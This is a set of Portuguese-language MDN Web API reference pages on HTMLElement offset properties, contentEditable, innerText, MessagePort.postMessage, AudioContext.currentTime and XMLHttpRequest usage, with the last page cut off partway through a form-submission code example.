{"title":"HTMLElement.offsetLeft - APIs da Web","text":"HTMLElement.offsetLeft\n======================\n\nO **`HTMLElement.offsetLeft`** é um método apenas de leitura que retorna a medida, em pixels, da distância do canto superior esquerdo do elemento atual para o nó `HTMLElement.offsetParent`.\n\nPara elementos \"block-level\", que ocupam todo o espaço do elemento pai, o `offsetTop`, `offsetLeft`, `offsetWidth`, e `offsetHeight` representam a borda de um elemento relativo ao `offsetParent`.\n\nEntretando, para elementos \"inline-level\" (como o **span**) que podem envolver de uma linha para outra, o `offsetTop` e `offsetLeft` representam a posição da primeira borda (use `Element.getClientRects()` (en-US) para retornar a largura e altura), enquanto `offsetWidth` e `offsetHeight` representam as dimensões do bloco delimitador (use `Element.getBoundingClientRect()` pra retornar sua posição). Portanto, um bloco que possua um left, top, widht ou height do `offsetLeft, offsetTop, offsetWidth` e `offsetHeight` não será um delimitador para um span com texto envolvido.\n\nSintaxe\n-------\n```\n\nleft = element.offsetLeft;\n```\n\n\n`left` é um número inteiro representando o deslocamento para esquerda, em pixels, do elemento pai mais próximo posicionado com relative.\n\nExemplo\n-------\n```\n\nvar colorTable = document.getElementById(\"t1\");\nvar tOLeft = colorTable.offsetLeft;\n\nif (tOLeft > 5) {\n  // deslocamento à esquerda maior que 5: faça alguma coisa\n}\n```\n\n\nEsse exemplo mostra uma frase 'longa' envolvida por uma div com uma borda azul, e uma caixa vermelha que deveria delimitar o span.\n\n![Image:offsetLeft.jpg](/pt-BR/docs/Web/API/HTMLElement/offsetLeft/offsetleft.jpg)\n```\n\n<div style=\"width: 300px; border-color:blue;\n  border-style:solid; border-width:1;\">\n  <span>Short span. </span>\n  <span id=\"long\">Long span that wraps within this div.</span>\n</div>\n\n<div id=\"box\" style=\"position: absolute; border-color: red;\n  border-width: 1; border-style: solid; z-index: 10\">\n</div>\n\n<script>\n  var box = document.getElementById(\"box\");\n  var long = document.getElementById(\"long\");\n  box.style.left = long.offsetLeft + document.body.scrollLeft + \"px\";\n  box.style.top = long.offsetTop + document.body.scrollTop + \"px\";\n  box.style.width = long.offsetWidth + \"px\";\n  box.style.height = long.offsetHeight + \"px\";\n</script>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-htmlelement-offsetleft |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `HTMLElement.offsetParent`, `HTMLElement.offsetTop`, `HTMLElement.offsetWidth`, `HTMLElement.offsetHeight`"}
{"title":"HTMLElement.contentEditable - APIs da Web","text":"HTMLElement.contentEditable\n===========================\n\nA propriedade **`HTMLElement.contentEditable`** é usada para indicar se o elemento é editável ou não. Esse atributo enumerado pode ter os seguintes valores:\n\n* `\"true\"` Indica que o elemento é editável;\n* `\"false\"` Indica que o elemento não pode ser editável;\n* `\"inherit\"` Indica que o elemento herda o status editável de seu pai.\n\nVocê pode usar a propriedade `HTMLElement.isContentEditable` (en-US) para testar o valor calculado `Boolean` (en-US) desta propriedade.\n\nSintaxe\n-------\n```\n\neditable = element.contentEditable element.contentEditable= \"true\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # contenteditable |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `HTMLElement.isContentEditable` (en-US)\n* The contenteditable global attribute.\n* Why ContentEditable is Terrible, Or: How the Medium Editor Works"}
{"title":"Node.innerText - APIs da Web","text":"Node.innerText\n==============\n\nResumo\n------\n\n**`Node.innerText`** é uma propriedade que representa o conteúdo textual \"renderizado\" de um nó e seus descendentes. Usada como getter, retorna de maneira aproximada o texto que o usuário obteria caso tivesse selecionado o conteúdo e copiado para a área de transferência. Este recurso fora introduzido originalmente pelo Internet Explorer, mas foi oficialmente especificado no padrão HTML apenas em 2016, sendo adotado por todos os principais navegadores a partir de então.\n\n`Node.textContent` é uma alternativa similar, embora existam diferenças significativas entre as duas.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-innertext-idl-attribute |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `HTMLElement.outerText` (en-US)\n* `Element.innerHTML`"}
{"title":"HTMLElement.click() - APIs da Web","text":"HTMLElement.click()\n===================\n\nO método **`HTMLElement.click()`** simula o clique do mouse em um elemento.\n\nQuando clique é usado com elementos que o suportam (por exemplo, um dos `<input>` tipos listados acima), ele também dispara evento de clique do elemento que vai propagar pelos elementos mais acima na árvore de documentos (ou cadeia do evento) e disparando seus eventos de clique também. No entanto, o evento de clique, propagado como bubble, não vai iniciar a navegação do elemento `<a>` como se uma verdadeiro clique do mouse tivesse sido recebido.\n\nSintaxe\n-------\n```\n\nelt.click()\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-click-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"HTMLElement.offsetTop - APIs da Web","text":"HTMLElement.offsetTop\n=====================\n\nO **`HTMLElement.offsetTop`** é um método apenas de leitura que retorna a medida, em pixels, da distância do elemento atual em relação ao topo do `offsetParent`.\n\nSintaxe\n-------\n```\n\ntopPos = element.offsetTop;\n```\n\n### Parâmetros\n\n* `topPos` é o número, em pixels, que representa a distância do elemento para o topo do elemento pai mais próximo posicionado com relative.\nExemplo\n-------\n\n\n```js\nvar d = document.getElementById(\"div1\");\nvar topPos = d.offsetTop;\n\nif (topPos > 10) {\n  // deslocamento em relação ao topo maior\n  // que 10pixels do topo\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-htmlelement-offsettop |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"HTMLElement.offsetWidth - APIs da Web","text":"HTMLElement.offsetWidth\n=======================\n\n`A propriedade HTMLElement.offsetWidth` é de somente leitura e retorna a largura de um elemento no layout. Normalmente, o `offsetWidth` é uma medida que inclui as bordas do elemento, seu padding horizontal e o vertical scrollbar (se presente e renderizado) e também a largura CSS do elemento.\n\nSintaxe\n```\n\nvar offsetWidth =element.offsetWidth;\n```\n\n\n`offsetWidth` é uma propriedade somente leitura.\n\n**Nota:** Esta propriedade irá arredondar o valor para um inteiro. se você precisa um valor fracionado, use `element.getBoundingClientRect()`.\n\nExemplo\n-------\n\n![Image:Dimensions-offset.png](/pt-BR/docs/Web/API/HTMLElement/offsetWidth/dimensions-offset.png)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-htmlelement-offsetwidth |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Element.clientWidth` (en-US)\n* `Element.scrollWidth`\n* Determinando as dimensões dos elementos (en-US)"}
{"title":"MessagePort.postMessage() - APIs da Web","text":"MessagePort.postMessage()\n=========================\n\nO método **`postMessage()`** da interface `MessagePort` (en-US) envia uma mensagem da porta e opcionalmente transfere a propriedade do objeto para outros contexto de navegação.\n\n**Note:** This feature is available in Web Workers\n\nSyntax\n------\n```\n\nport.postMessage(message, transferList);\n```\n\n### Returns\n\nVazio.\n\n### Parameters\n\nmessage\n\nA mensagem que você quer enviar atravéz do canal. Esta mensagem pode ser de qualquer tipo de dados basico. Multiplos items podem ser enviados com diferentestes tipos de dados como em um Array.\n\ntransferList Optional\n\n`Transferable` objects to be transferred — these objects have their ownership transferred to the receiving browsing context, so are no longer usable by the sending browsing context.\n\nExample\n-------\n\nIn the following code block, you can see a new channel being created using the `MessageChannel.MessageChannel` constructor. When the IFrame has loaded, we pass `MessageChannel.port2` (en-US) to the IFrame using `window.postMessage` (en-US) along with a message. The `handleMessage` handler then responds to a message being sent back from the IFrame using `onmessage`, putting it into a paragraph — `MessageChannel.port1` (en-US) is listened to, to check when the message arrives.\n\n\n```js\nvar channel = new MessageChannel();\nvar para = document.querySelector(\"p\");\n\nvar ifr = document.querySelector(\"iframe\");\nvar otherWindow = ifr.contentWindow;\n\nifr.addEventListener(\"load\", iframeLoaded, false);\n\nfunction iframeLoaded() {\n  otherWindow.postMessage(\"Hello from the main page!\", \"\\*\", [channel.port2]);\n}\n\nchannel.port1.onmessage = handleMessage;\nfunction handleMessage(e) {\n  para.innerHTML = e.data;\n}\n```\n\n\nFor a full working example, see our channel messaging basic demo on Github (run it live too).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-messageport-postmessage-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Using channel messaging (en-US)"}
{"title":"AudioContext.currentTime - APIs da Web","text":"AudioContext.currentTime\n========================\n\nThe `currentTime` read-only property of the `AudioContext` interface returns a double representing an ever-increasing hardware timestamp in seconds that can be used for scheduling audio playback, visualizing timelines, etc. It starts at 0.\n\nSyntax\n------\n\n\n```js\nvar audioCtx = new AudioContext();\nconsole.log(audioCtx.currentTime);\n```\n\nExemplo\n-------\n\n\n```js\nvar AudioContext = window.AudioContext || window.webkitAudioContext;\nvar audioCtx = new AudioContext();\n// Older webkit/blink browsers require a prefix\n\n...\n\nconsole.log(audioCtx.currentTime);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Audio API # dom-baseaudiocontext-currenttime |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando a API Web Audio API (en-US)"}
{"title":"Requisições síncronas e assíncronas - APIs da Web","text":"Requisições síncronas e assíncronas\n===================================\n\n`XMLHttpRequest` suporta comunicações síncronas e assíncronas. No geral, entretando, requisições assíncronas devem prevalecer sobre requisições síncronas por questões de performance.\n\nRequisições síncronas podem bloquear a execução do codigo, gerando um \"congelamento\" da tela, prejudicando a experiência do usuário.\n\nRequisição assíncrona\n---------------------\n\nSe você usa `XMLHttpRequest` de uma extensão, você deveria usá-la de forma assíncrona. Neste caso, você recebe um callback quando os dados forem recebidos, o que permite que o browser continue seu trabalho normalmente enquanto sua requisição estiver sendo processada.\n\n### Exemplo: envie um arquivo para o console de log\n\nEsse é o exemplo mais simples de uso do `XMLHttpRequest assíncrono.`\n\n\n```js\nvar xhr = new XMLHttpRequest();\nxhr.open(\"GET\", \"/bar/foo.txt\", true);\nxhr.onload = function (e) {\n  if (xhr.readyState === 4) {\n    if (xhr.status === 200) {\n      console.log(xhr.responseText);\n    } else {\n      console.error(xhr.statusText);\n    }\n  }\n};\nxhr.onerror = function (e) {\n  console.error(xhr.statusText);\n};\nxhr.send(null);\n```\n\n\nA Linha 2 define o terceiro parâmetro como true, indicando que a requisição deve ser tratada assincronamente.\n\nA Linha 3 cria um objeto função do tipo *event handler* e atribui ele ao atributo **onload** da requisição.\n\nNa LInha 4, Este *handler* verifica o estado da requisição, através da variável *readyState,* para ver se a transação está completa, e se o status do HTTP é 200. Em caso positivo lê o conteúdo recebido. Se um erro ocorrer, uma mensagem de erro será exibida no console.\n\nA requisição é, de fato, realizada na Linha 15. A rotina de *callback* é invocada quando o estado da requisição muda.\n\n### Exemplo: Criando uma função standard para ler arquivos externos\n\nEm alguns casos, você pode precisar ler muitos arquivos externos. Esta é uma função padrão que utiliza o objeto `XMLHttpRequest` de forma assíncrona para alternar o conteúdo do arquivo legível para um listener especificado.\n\n\n```js\nfunction xhrSuccess() {\n  this.callback.apply(this, this.arguments);\n}\n\nfunction xhrError() {\n  console.error(this.statusText);\n}\n\nfunction loadFile(\n  sURL,\n  fCallback /\\*, argumentToPass1, argumentToPass2, etc. \\*/,\n) {\n  var oReq = new XMLHttpRequest();\n  oReq.callback = fCallback;\n  oReq.arguments = Array.prototype.slice.call(arguments, 2);\n  oReq.onload = xhrSuccess;\n  oReq.onerror = xhrError;\n  oReq.open(\"get\", sURL, true);\n  oReq.send(null);\n}\n```\n\n\nUso:\n\n\n```js\nfunction showMessage(sMsg) {\n  alert(sMsg + this.responseText);\n}\n\nloadFile(\"message.txt\", showMessage, \"New message!\\n\\n\");\n```\n\n\nA assinatura da função ***loadFile*** declara (i) uma URL de destino que será lida (via HTTP GET), (ii) uma função de callback para executar na conclusão bem-sucedida da instância xhr, e (iii) uma lista opcional de argumentos adicionais que são \"passados através\" do objeto XHR caso a função de callback seja bem-sucedida.\n\nA linha 1 declara uma função que será invocada quando a operação XHR for completada com sucesso. Isso, por sua vez, invoca uma função de callback especificada na invocação da função loadFile (neste caso, a função showMessage) que foi atribuída a propriedade do objeto XHR (Linha 7). Os argumentos adicionais (caso existam) fornecem a invocação da função loadFile são \"aplicados\" para a execução da função de callback..\n\nA linha 3 declara uma função que será invocada quando a operação XHR não for completada com sucesso.\n\nA linha 7 define no objeto XHR the success callback function given as the second argument to loadFile.\n\nLine 8 slices the arguments array given to the invocation of loadFile. Starting with the third argument, all remaining arguments are collected, assigned to the arguments property of the variable oReq, passed to the success callback function xhrSuccess., and ultimately supplied to the callback function (in this case, showMessage) which is invoked by function xhrSuccess.\n\nLine 9 designates the function xhrSuccess as the callback to be invoked when the onload event fires, that is, when the XHR sucessfully completes.\n\nLine 10 designates the function xhrError as the callback to be invoked when the XHR requests fails to complete.\n\nLine 11 specifies `true` for its third parameter to indicate that the request should be handled asynchronously.\n\nLine 12 actually initiates the request.\n\n### Example: using a timeout\n\nYou can use a timeout to prevent hanging your code forever while waiting for a read to occur. This is done by setting the value of the `timeout` property on the `XMLHttpRequest` object, as shown in the code below:\n\n\n```js\nfunction loadFile(sUrl, timeout, callback) {\n  var args = arguments.slice(3);\n  var xhr = new XMLHttpRequest();\n  xhr.ontimeout = function () {\n    console.error(\"The request for \" + url + \" timed out.\");\n  };\n  xhr.onload = function () {\n    if (xhr.readyState === 4) {\n      if (xhr.status === 200) {\n        callback.apply(xhr, args);\n      } else {\n        console.error(xhr.statusText);\n      }\n    }\n  };\n  xhr.open(\"GET\", url, true);\n  xhr.timeout = timeout;\n  xhr.send(null);\n}\n```\n\n\nNotice the addition of code to handle the \"timeout\" event by setting the `ontimeout` handler.\n\nUsage:\n\n\n```js\nfunction showMessage(sMsg) {\n  alert(sMsg + this.responseText);\n}\n\nloadFile(\"message.txt\", 2000, showMessage, \"New message!\\n\");\n```\n\n\nHere, we're specifying a timeout of 2000 ms.\n\n**Nota:** Support for `timeout` was added in Gecko 12.0.\n\nSynchronous request\n-------------------\n\n**Nota:** Starting with Gecko 30.0, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.\n\nEm casos raros, o uso do método síncrono é preferível ao invés do método assíncrono.\n\n### Example: HTTP synchronous request\n\nThis example demonstrates how to make a simple synchronous request.\n\n\n```js\nvar request = new XMLHttpRequest();\nrequest.open(\"GET\", \"/bar/foo.txt\", false); // `false` makes the request synchronous\nrequest.send(null);\n\nif (request.status === 200) {\n  console.log(request.responseText);\n}\n```\n\n\nLine 3 sends the request. The `null` parameter indicates that no body content is needed for the `GET` request.\n\nLine 5 checks the status code after the transaction is completed. If the result is 200 — HTTP's \"OK\" result — the document's text content is output to the console.\n\n### Example: Synchronous HTTP request from a `Worker`\n\nOne of the few cases in which a synchronous request does not usually block execution is the use of `XMLHttpRequest` within a `Worker`.\n\n**`example.html`** (the main page):\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>MDN Example</title>\n    <script type=\"text/javascript\">\n var worker = new Worker(\"myTask.js\");\n worker.onmessage = function (event) {\n alert(\"Worker said: \" + event.data);\n };\n\n worker.postMessage(\"Hello\");\n </script>\n  </head>\n  <body></body>\n</html>\n```\n\n\n**`myFile.txt`** (the target of the synchronous `XMLHttpRequest` invocation):\n```\n\nHello World!!\n```\n\n\n**`myTask.js`** (the `Worker`):\n\n\n```js\nself.onmessage = function (event) {\n  if (event.data === \"Hello\") {\n    var xhr = new XMLHttpRequest();\n    xhr.open(\"GET\", \"myFile.txt\", false); // synchronous request\n    xhr.send(null);\n    self.postMessage(xhr.responseText);\n  }\n};\n```\n\n\n**Nota:** The effect, because of the use of the `Worker`, is however asynchronous.\n\nIt could be useful in order to interact in background with the server or to preload some content. See Using web workers for examples and details.\n\n### Adapting Sync XHR usecases to the Beacon API\n\nThere are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the `window.onunload` and `window.onbeforeunload` events. The navigator.sendBeacon (en-US) API can support these usecases typically while delivering a good UX.\n\nThe following example (from the sendBeacon docs (en-US)) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unload of the page to be delayed.\n\n\n```js\nwindow.addEventListener(\"unload\", logData, false);\n\nfunction logData() {\n  var client = new XMLHttpRequest();\n  client.open(\"POST\", \"/log\", false); // third parameter indicates sync xhr. :(\n  client.setRequestHeader(\"Content-Type\", \"text/plain;charset=UTF-8\");\n  client.send(analyticsData);\n}\n```\n\n\nUsing the **`sendBeacon()`** method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, **without delaying the unload or affecting the performance of the next navigation.**\n\nThe following example shows a theoretical analytics code pattern that submits data to a server using the by using the **`sendBeacon()`** method.\n\n\n```js\nwindow.addEventListener(\"unload\", logData, false);\n\nfunction logData() {\n  navigator.sendBeacon(\"/log\", analyticsData);\n}\n```\n\nSee also\n--------\n\n* `XMLHttpRequest`\n* Using XMLHttpRequest\n* AJAX\n* `navigator.sendBeacon` (en-US)"}
{"title":"Usando XMLHttpRequest - APIs da Web","text":"Usando XMLHttpRequest\n=====================\n\n`XMLHttpRequest` torna o envio de requisições HTTP muito fácil. Basta criar uma instância do objeto, abrir uma url e enviar uma requisição. O status (en-US) HTTP (en-US)do resultado assim como o seu conteúdo estarão disponíveis quando a transação for completada. Esta página descreve alguns casos comuns de uso desse poderoso objeto JavaScript.\n\n\n```js\nfunction reqListener() {\n  console.log(this.responseText);\n}\n\nvar oReq = new XMLHttpRequest();\noReq.onload = reqListener;\noReq.open(\"get\", \"yourFile.txt\", true);\noReq.send();\n```\n\nTipos de Requisições\n--------------------\n\nUma requisição feita via XMLHttpRequest pode buscar dados de duas maneiras, sícrona e assíncrona. O tipo de requisição é dado pelo argumento `async` que é opcional (terceiro argumento) e é definido no método XMLHttpRequest open(). Se esse argumento for `true` ou não especificado, o `XMLHttpRequest` será processado de maneira assíncrona, caso contrário o processamento será síncrono. Uma discussão detalhada e demonstrações desses dois tipos podem ser encontradas na página requisições síncronas e assíncronas (en-US). No geral a melhor prática é a das solicitações assíncronas.\n\nManipulando Respostas\n---------------------\n\nExistem vários tipos de atributos de resposta definidos pela especificação da W3C para o XMLHttpRequest. Eles informam ao cliente que efetuou a requisição XMLHttpRequest informações importantes sobre o status da resposta. Em alguns casos onde se lida com tipos de resposa de não-texto, os tipos de resposta podem envolver alguma manipulação e/ou análise conforme descrito nas seções seguintes.\n\n### Analisando e manipulando a propriedade `responseXML`\n\nSe você utiliza o `XMLHttpRequest` para obter o conteúdo de um documento XML remoto, a propriedade `responseXML` será um objeto DOM que contém um documento XML, o que pode dificultar a manipulação e análise.\n\nAs cinco formas mais utilizadas para análisar e manipular um arquivo XML são:\n\n1. Usando XPath (en-US) para análisar parte deles.\n2. Usando JXON para converter em um Objeto JavaScript.\n3. Manualmente Parsing and serializing XML (en-US) para strings ou objetos.\n4. Usando XMLSerializer (en-US) para serializar **árvores do DOM para strings ou para arquivos**.\n5. RegExp (en-US)pode ser usado se você souber de antemão qual é o conteúdo do XML. Você pode remover quebras de linhas, usando a RegExp para procurar as quebras de linha. No entanto, este é o \"último método\", caso o código do XML sofra alterações, o método se torna falho.\n### Analisando e manipulando uma propriedade `responseText` contendo um documento HTML\n\n**Nota:** A especificação W3C do XMLHttpRequest permite analisar HTML através da propriedade `XMLHttpRequest.responseXML` . Leia o artigo sobre HTML in XMLHttpRequest (en-US) para maiores detalhes.\n\nSe você usa o `XMLHttpRequest` para recuperar o conteúdo de uma página HTML remota, a propriedade `responseText` será uma string contendo um a \"sopa\" de todos as tags HTML, o que pode ser difícil de manipular e analizar. Existem três formas básicas para analizar esta sopa de string HTML:\n\n1. Use a propriedade `XMLHttpRequest.responseXML`.\n2. Introduza o conteúdo dentro do corpo de um document fragment Através de `fragment.body.innerHTML` e percorra o fragmento do DOM.\n3. RegExp (en-US) pode se usada se você sempre conhece o conteúdo HTML `responseText`de que tem em mãos. Você pode quere remover quebras de linha, se você usar RegExp para varrer no que diz respeito a quebra de linhas. Contudo, este método é um \"último recurso\" uma vez que se o código HTML mudar um pouco, o método provavelmente irá falhar.\nManipulação de dados binários\n-----------------------------\n\nApesar de `XMLHttpRequest` ser mais comumente usado para enviar e receber dados textual, ele pode ser utilizado para enviar e receber conteúdo binário. Existem vários métodos bem testados para forçar a resposta de um XMLHttpRequest para o envio de dados binário. Eles envolvem a utilização do método .overrideMimeType() sobre o objeto XMLHttpRequest e é uma solução viável.\n\n\n```js\nvar oReq = new XMLHttpRequest();\noReq.open(\"GET\", url, true);\n// recupera dados não processados como uma string binária\noReq.overrideMimeType(\"text/plain; charset=x-user-defined\");\n/\\* ... \\*/\n```\n\n\nA especificação XMLHttpRequest Level 2 adiciona novo responseType attributes que tornam o envio e recebimento de dados muito mais fácil.\n\n\n```js\nvar oReq = new XMLHttpRequest();\n\noReq.open(\"GET\", url, true);\noReq.responseType = \"arraybuffer\";\noReq.onload = function (e) {\n  var arraybuffer = oReq.response; // não é responseText\n  /\\* ... \\*/\n};\noReq.send();\n```\n\n\nPara mais exemplos confira a página Sending and Receiving Binary Data (en-US).\n\nMonitorando o progresso\n-----------------------\n\n`XMLHttpRequest` fornece a capacidade de ouvir vários eventos que podem ocorrer enquanto o pedido está sendo processado. Isso inclui notificações periódicas de progresso, notificações de erro e assim por diante.\n\nSuporte para evento de progresso DOM monitorando a conexão `XMLHttpRequest` transfers siga a Web API specification for progress events: estes eventos implementam a interface `ProgressEvent` (en-US) .\n\n\n```js\nvar oReq = new XMLHttpRequest();\n\noReq.addEventListener(\"progress\", updateProgress, false);\noReq.addEventListener(\"load\", transferComplete, false);\noReq.addEventListener(\"error\", transferFailed, false);\noReq.addEventListener(\"abort\", transferCanceled, false);\n\noReq.open();\n\n// ...A transferência foi cancelada pelo usuário\n\n// progresso de transferências do servidor para o cliente (downloads)\nfunction updateProgress(oEvent) {\n  if (oEvent.lengthComputable) {\n    var percentComplete = oEvent.loaded / oEvent.total;\n    // ...\n  } else {\n    // Não é possível calcular informações de progresso uma vez que a dimensão total é desconhecida\n  }\n}\n\nfunction transferComplete(evt) {\n  alert(\"A transferência foi concluída.\");\n}\n\nfunction transferFailed(evt) {\n  alert(\"Um erro ocorreu durante a transferência do arquivo.\");\n}\n\nfunction transferCanceled(evt) {\n  alert(\"A transferência foi cancelada pelo usuário.\");\n}\n```\n\n\nLines 3-6 adiciona receptores de eventos (event listeners) para os vários que são enviados ao executar uma transferência de dados usando `XMLHttpRequest`.\n\n**Nota:** Você precisa adicionar os receptores de eventos (event listeners) antes de chamar `open()` sobre a requisição. Caso contrário, os eventos de prograsso não dispararão..\n\nO manipulador de evento de prograsso, especificado pela função `updateProgress()` neste exemplo, recebe o número total de bytes para transferir, bem como o número de bytes transferidos até o momento em total de eventos e campos carregados . No entanto, se o campo lengthComputable é false, o comprimento total não é conhecido e será zero..\n\nEventos de progresso existem para ambos as transferências de download e upload. The download events are fired on the `XMLHttpRequest` object itself, as shown in the above sample. The upload events are fired on the `XMLHttpRequest.upload` object, as shown below:\n\n\n```js\nvar oReq = new XMLHttpRequest();\n\noReq.upload.addEventListener(\"progress\", updateProgress, false);\noReq.upload.addEventListener(\"load\", transferComplete, false);\noReq.upload.addEventListener(\"error\", transferFailed, false);\noReq.upload.addEventListener(\"abort\", transferCanceled, false);\n\noReq.open();\n```\n\n\n**Nota:** eventos de progresso não estão disponíveis para o arquivo`:` protocol.\n\n**Nota:** Atualmente, existem bugs em aberto para o evento de progresso que continua fetando a versão 25 do Firefox sobre OS X e Linux.\n\n**Nota:** Iniciando no Gecko 9.0, eventos de progresso agora podem ser invocados a entrar para cada pedaço de dados recebidos, incluindo o último bloco, nos casos em que o último pacote é recebido e a conexão fechada antes do evento progresso ser disparado. Neste caso, o evento de progresso é automaticamente acionado quando o evento load ocorre para esse pacote. Isso permite que você agora acompanhe de forma confiável apenas observando o evento de progresso\n\n**Nota:** A partir do Gecko 12.0, se o seu evento de progresso e chamado com um `responseType` de \"moz-blob\", o valor da resposta será um `Blob` contendo os dados recebidos até agorar.\n\nPOde-se também detectar todas as três condições de fim de carga (`abort`, `load`, or `error`) usando o evento `loadend`:\n\n\n```js\nreq.addEventListener(\"loadend\", loadEnd, false);\n\nfunction loadEnd(e) {\n  alert(\n    \"A transferência terminou (embora não sabemos se ele conseguiu ou não).\",\n  );\n}\n```\n\n\nNote que não há nenhuma maneira de ter certeza a partir da informação recebida pelo evento loadend sobre qual condição causou a operação de encerrar; no entanto, você pode usar isso para lidar com tarefas que precisam ser realizadas em todos os cenários de fim-de-transferência.\n\nSubmitting forms and uploading files\n------------------------------------\n\nInstances of `XMLHttpRequest` can be used to submit forms in two ways:\n\n* using nothing but *pure* AJAX,\n* using the `FormData` (en-US) API.\n\n The **second way** (using the `FormData` (en-US) API) is the simplest and the fastest, but has the disadvantage that **the data thus collected can not be stringified (en-US)**: they are in every way *a blob*. It is the best solution for simple cases.\n The **first way** (*pure* AJAX) is instead the most complex, but in compensation is also the most flexible and powerful: it lends itself to wider uses and **the data thus collected can be stringified (en-US)** **and reused for other purposes** such as, for example, populating the *status object* during a manipulation of the browser history (en-US), or other.\n\n### Using nothing but *pure* AJAX\n\nSubmitting forms without the `FormData` (en-US) API does not require other APIs, except that, only **if you want to upload one or more files**, the `FileReader` (en-US) API.\n\n#### A brief introduction to the submit methods\n\nAn html `<form>` (en-US) can be sent in four ways:\n\n* using the `POST` method and setting the `enctype` attribute to `application/x-www-form-urlencoded` (default);\n* using the `POST` method and setting the `enctype` attribute to `text/plain`;\n* using the `POST` method and setting the `enctype` attribute to `multipart/form-data`;\n* using the `GET` method (in this case the `enctype` attribute will be ignored).\n\nNow, consider to submit a form containing only two fields, named `foo` and `baz`. If you are using the `POST` method, the server will receive a string similar to one of the following three ones depending on the encoding type you are using:\n\n* Method: `POST`; Encoding type: `application/x-www-form-urlencoded` (default):\n```\n\nContent-Type: application/x-www-form-urlencoded\n\nfoo=bar&baz=The+first+line.&#37;0D%0AThe+second+line.%0D%0A\n```\n\n* Method: `POST`; Encoding type: `text/plain`:\n```\n\nContent-Type: text/plain\n\nfoo=bar\nbaz=The first line.\nThe second line.\n```\n\n* Method: `POST`; Encoding type: `multipart/form-data`:\n```\n\nContent-Type: multipart/form-data; boundary=---------------------------314911788813839\n\n-----------------------------314911788813839\nContent-Disposition: form-data; name=\"foo\"\n\nbar\n-----------------------------314911788813839\nContent-Disposition: form-data; name=\"baz\"\n\nThe first line.\nThe second line.\n\n-----------------------------314911788813839--\n```\n\n\nInstead, if you are using the `GET` method, a string like the following will be simply added to the URL:\n```\n\n?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.\n```\n\n\n#### A little *vanilla* framework\n\nAll these things are done automatically by the web browser whenever you submit a `<form>` (en-US). But if you want to do the same things using JavaScript you have to instruct the interpreter about *all* things. So, how to send forms in *pure* AJAX is too complex to be explained in detail here. For this reason we posted here **a complete (but still didactic) framework**, which is able to use all the four ways of *submit* and, also, to **upload files**:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>Sending forms with pure AJAX &ndash; MDN</title>\n    <script type=\"text/javascript\">\n \"use strict\";\n\n /\\*\\\n |\\*|\n |\\*| :: XMLHttpRequest.prototype.sendAsBinary() Polifyll ::\n |\\*|\n |\\*| https://developer.mozilla.org/pt-BR/docs/DOM/XMLHttpRequest#sendAsBinary()\n \\\\*/\n\n if (!XMLHttpRequest.prototype.sendAsBinary) {\n XMLHttpRequest.prototype.sendAsBinary = function (sData) {\n var nBytes = sData.length,\n ui8Data = new Uint8Array(nBytes);\n for (var nIdx = 0; nIdx < nBytes; nIdx++) {\n ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;\n }\n /\\* send as ArrayBufferView...: \\*/\n this.send(ui8Data);\n /\\* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); \\*/\n };\n }\n\n /\\*\\\n |\\*|\n |\\*| :: AJAX Form Submit Framework ::\n |\\*|\n |\\*| https://developer.mozilla.org/pt-BR/docs/DOM/XMLHttpRequest/Using\\_XMLHttpRequest\n |\\*|\n |\\*| This framework is released under the GNU Public License, version 3 or later.\n |\\*| http://www.gnu.org/licenses/gpl-3.0-standalone.html\n |\\*|\n |\\*| Syntax:\n |\\*|\n |\\*| AJAXSubmit(HTMLFormElement);\n \\\\*/\n\n var AJAXSubmit = (function () {\n function ajaxSuccess() {\n /\\* console.log(\"AJAXSubmit - Success!\"); \\*/\n alert(this.responseText);\n /\\* you can get the serialized data through the \"submittedData\" custom property: \\*/\n /\\* alert(JSON.stringify(this.submittedData)); \\*/\n }\n\n function submitData(oData) {\n /\\* the AJAX request... \\*/\n var oAjaxReq = new XMLHttpRequest();\n oAjaxReq.submittedData = oData;\n oAjaxReq.onload = ajaxSuccess;\n if (oData.technique === 0) {\n /\\* method is GET \\*/\n oAjaxReq.open(\n 